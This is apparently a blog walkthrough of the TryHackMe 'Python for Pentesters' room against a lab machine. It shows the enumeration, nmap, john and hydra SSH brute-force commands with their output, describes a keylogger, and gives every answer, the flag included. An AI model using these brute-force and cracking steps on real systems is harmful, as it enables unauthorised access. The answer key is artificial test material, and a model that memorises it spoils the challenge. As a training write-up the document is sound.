Python for Pentesters

This is a hands-on premium room that walks through practical Python scripts for a penetration test: subdomain and directory enumeration, network and port scanning, a file downloader, a hash cracker, a keylogger, and an SSH brute-forcer. Most of the questions test your understanding of the code, but four tasks need you to actually run the tooling against a live target. This walkthrough covers the whole room, with the real commands I ran from the AttackBox against the lab machine.

All ten tasks of Python for Pentesters marked complete at 100 percent on TryHackMe, with the AttackBox and target machine IPs

Setup

Task 1 starts both machines: the AttackBox (attacker, 10.48.123.92) and the lab machine (target, 10.48.149.8). Everything below runs from an AttackBox terminal with the target exported as a shell variable:

export T=10.48.149.8

Task 2: Subdomain Enumeration

The script loops a subdomains.txt wordlist, prepends each entry to the domain, and treats any subdomain that accepts a connection as valid. Two conceptual questions here: the script uses plain HTTP, so the other protocol you could enumerate over is HTTPS, and the function Python uses to read a command-line argument is sys.argv (seen in the script as sys.argv[1]).

Task 3: Directory Enumeration

This is the first practical task. The script requests http://TARGET/<word>.html for each entry in the wordlist and reports anything that is not a 404. The room’s wordlist lives on the AttackBox at /usr/share/wordlists/PythonForPentesters/wordlist2.txt. Rather than run the teaching script, the same logic is a one-line loop:

WL=/usr/share/wordlists/PythonForPentesters/wordlist2.txt
for d in $(cat $WL); do
  c=$(curl -s -o /dev/null -w "%{http_code}" http://$T/$d.html)
  [ "$c" != "404" ] && echo "$c  /$d.html"
done
200  /surfer.html
200  /private.html
200  /apollo.html
200  /index.html

That is 4 valid pages. Pulling each one and grepping for interesting strings answers the rest of the task:

cd /tmp; for p in surfer private apollo index; do curl -s http://$T/$p.html -o $p.html; done
grep -rinE 'rabbit|login|password|hash|user' *.html
  • private.html has <title>Login Page</title> and a username/password form, so the login page is private.html.
  • apollo.html contains a lone 32-character string cd13b6a6af66fb774faa589a9d18f906, so the cryptic hash is on apollo.html.
  • surfer.html lists the users and their passwords, so the usernames are on surfer.html. That page also spells out Password for Rabbit set to LOUSYRABBO, making Rabbit’s password LOUSYRABBO.

Task 4: Network Scanner

An ARP scanner built with Scapy (more reliable than ICMP on a local segment because hosts can be configured to ignore pings). The questions are about the code: the module used to craft the ARP packets is Scapy, the variable to change for your local IP block is ip_range, and the variable to change for a NIC named ens33 is interface.

Task 5: Port Scanner

A socket-based TCP connect scanner. Two conceptual answers first: the protocol most likely on TCP port 22 is SSH, and the module imported for sockets is socket. The function that would fail without importing sys is sys.stdout.flush().

The last two questions need a real scan. A quick top-ports scan only shows 22 and 80, so a full scan matters here:

nmap -p- --min-rate 3000 -T4 $T
22/tcp   open  ssh
80/tcp   open  http
2100/tcp open  amiganetfs

So 3 ports are open, and the highest open port is 2100 (easy to miss without scanning the full range).

Task 6: File Downloader

A tiny requests script that downloads a file. The function used to connect to the target website is requests.get(). The task also mentions PSexec; in the Unified Cyber Kill Chain, PSexec (running commands on remote hosts) belongs to the Lateral Movement phase.

Task 7: Hash Cracker

A hashlib MD5 cracker that hashes each wordlist line and compares. The hash found during directory enumeration is the one from apollo.html: cd13b6a6af66fb774faa589a9d18f906. Cracking it against rockyou:

echo cd13b6a6af66fb774faa589a9d18f906 > /tmp/h.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt /tmp/h.txt
cd13b6a6af66fb774faa589a9d18f906:rainbow

The cleartext is rainbow. The task then asks you to adapt the script for SHA256 and crack 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60:

echo 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60 > /tmp/s.txt
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt /tmp/s.txt
5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60:redwings

That cleartext is redwings.

Task 8: Keyloggers

Three lines using the keyboard module to record and replay keystrokes. The package installer used to add the module is pip3 (pip3 install keyboard), and the line you would change to stop the captured keys from being printed back to the screen is keyboard.play(keys).

Task 9: SSH Brute Forcing

A Paramiko brute-forcer. First, the username starting with “t” comes from the user list on surfer.html (tiffany, daniel, jim, mike), so it is tiffany. Brute-forcing tiffany’s SSH password with the room wordlist:

hydra -l tiffany -P /usr/share/wordlists/PythonForPentesters/wordlist2.txt ssh://$T -t 4 -f
[22][ssh] host: 10.48.149.8   login: tiffany   password: trustno1

So the SSH password is trustno1. Logging in and reading the flag:

sshpass -p trustno1 ssh -o StrictHostKeyChecking=no tiffany@$T "cat flag.txt"
THM-737390028

The flag is THM-737390028.

AttackBox terminal showing the enumeration summary, the cracked apollo.html hash, the open ports, the hydra-recovered SSH credentials, and cat flag.txt returning THM-737390028

Task 10: Extra challenges

No answer needed, just suggestions to extend the tools (DNS-based subdomain enumeration, banner grabbing, threading the brute-forcer, building Windows executables).

Every answer

TaskQuestionAnswer
2Other protocol for subdomain enumerationHTTPS
2Function to read a command-line argumentsys.argv
3Directories the script identifies (.html)4
3Location of the login pageprivate.html
3Where the cryptic hash isapollo.html
3Where the usernames aresurfer.html
3Password assigned to RabbitLOUSYRABBO
4Module used for the ARP requestsScapy
4Variable to change for your IP blockip_range
4Variable to change for interface ens33interface
5Protocol likely on TCP port 22SSH
5Module imported to use socketssocket
5Function that fails without syssys.stdout.flush()
5Open ports on the lab machine3
5Highest open port2100
6Function used to connect to the siterequests.get()
6Unified Kill Chain phase for PSexecLateral Movement
7Hash found during directory enumerationcd13b6a6af66fb774faa589a9d18f906
7Cleartext of that hashrainbow
7Cleartext of the SHA256 hashredwings
8Package installer usedpip3
8Line to change to stop printingkeyboard.play(keys)
9Username starting with “t”tiffany
9SSH password of this usertrustno1
9Content of flag.txtTHM-737390028

Wrap-up

Python for Pentesters is a good reminder that most pentest tooling is just a short script plus a wordlist. The room’s real value is seeing how directory enumeration, a full-range port scan, hashlib cracking, and a Paramiko brute-forcer chain together: apollo.html gives you a hash that cracks to rainbow, surfer.html gives you the user tiffany, and hydra turns that into an SSH session where flag.txt reads THM-737390028. The scripts in the room are deliberately simple, which makes them a solid base to extend with threading, banner grabbing, or DNS enumeration once you are comfortable reading them.

Python for Pentesters room completed on TryHackMe, ten tasks done and 208 points earned